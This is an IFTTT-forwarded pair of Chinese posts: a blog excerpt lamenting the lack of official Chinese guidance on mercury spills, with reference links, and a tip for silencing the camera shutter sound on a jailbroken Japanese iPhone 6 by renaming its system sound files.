4.中国环境保护部需要提供给公众什么信息和帮助?

遇到水银撒落,我一开始是在百度搜索的,很多答案都是网友给的。这其中不少是错的建议,比如说用吸尘器吸水银。这些错误信息会误导不少公众,从而使公众健康带来危害。遗憾的是,我并没有找到任何官方提供的科学性的信息。在中国环境保护部,我没有找到关于如何处理水银撒落的任何信息。

作为正在转型成服务型机构的中国政府,提供公众需要和贴近人民的有用信息是必不可少的,当然这其中包括如何处理水银撒落。

 

相关网站:

EPA关于水银的清理方法:http://ift.tt/1TBn30J

温度计中水银含量:

 http://ift.tt/1TvZDIP

水银中毒医疗:http://ift.tt/1TBnBDO

汞标准:http://ift.tt/1TvZCoi

 

本文引用地址:http://ift.tt/1TvZAwH  此文来自科学网赵飞博客,转载请注明出处。

下一篇:如何辨别一条蛇是否有毒或者无毒呢?

Sent By IFTTT

May 17, 2016 at 08:53PM
查看原文

  在日版的 iPhone6 没有涨价之前,其实在性价比方面是一个不错的选择,但有一个问题是果粉们会在购买之前考虑的一个因素,那就是日版的拍照声音,有时候想安静地好好拍照都不可以,还能愉快地拍照吗?

日版iPhone6拍照静音又一个方法 修改系统文件

  我们可能已经知道通过插件可以去除日版 iPhone 的拍照声,今天为大家介绍的是一个彻底去掉日版iPhone6拍照声音的方法。当然首先设备必须要先进行越狱,然后可以使用 iFile 或者类似的工具来修改系统文件。

  去除拍照音:

  进入 /System/Library/Audio/UISounds,找到 photoShutter 文件,改名字或者删除掉。

  如果你想更彻底,可以将连拍的声音也去掉。

  去除连拍音:

  /System/Library/Audio/UISounds/Modern

  进入这个文件夹,找到下面对应的三个文件,删除掉或者改名。

  camera_shutter_burst.caf
  camera_shutter_burst_begin.caf
  camera_shutter_burst_end.caf

  改名为:

  camera_shutter_burst.caf.bak
  camera_shutter_burst_begin.caf.bak
  camera_shutter_burst_end.caf.bak

  值得注意的是使用这个方法,在任何模式下,拍照都不会有声音,就算你手机不静音,开到最大声,拍照也不会有声音。如果你不喜欢,点击【这里】参考更好更优秀的日版iPhone6拍照声去除方法。

Sent By IFTTT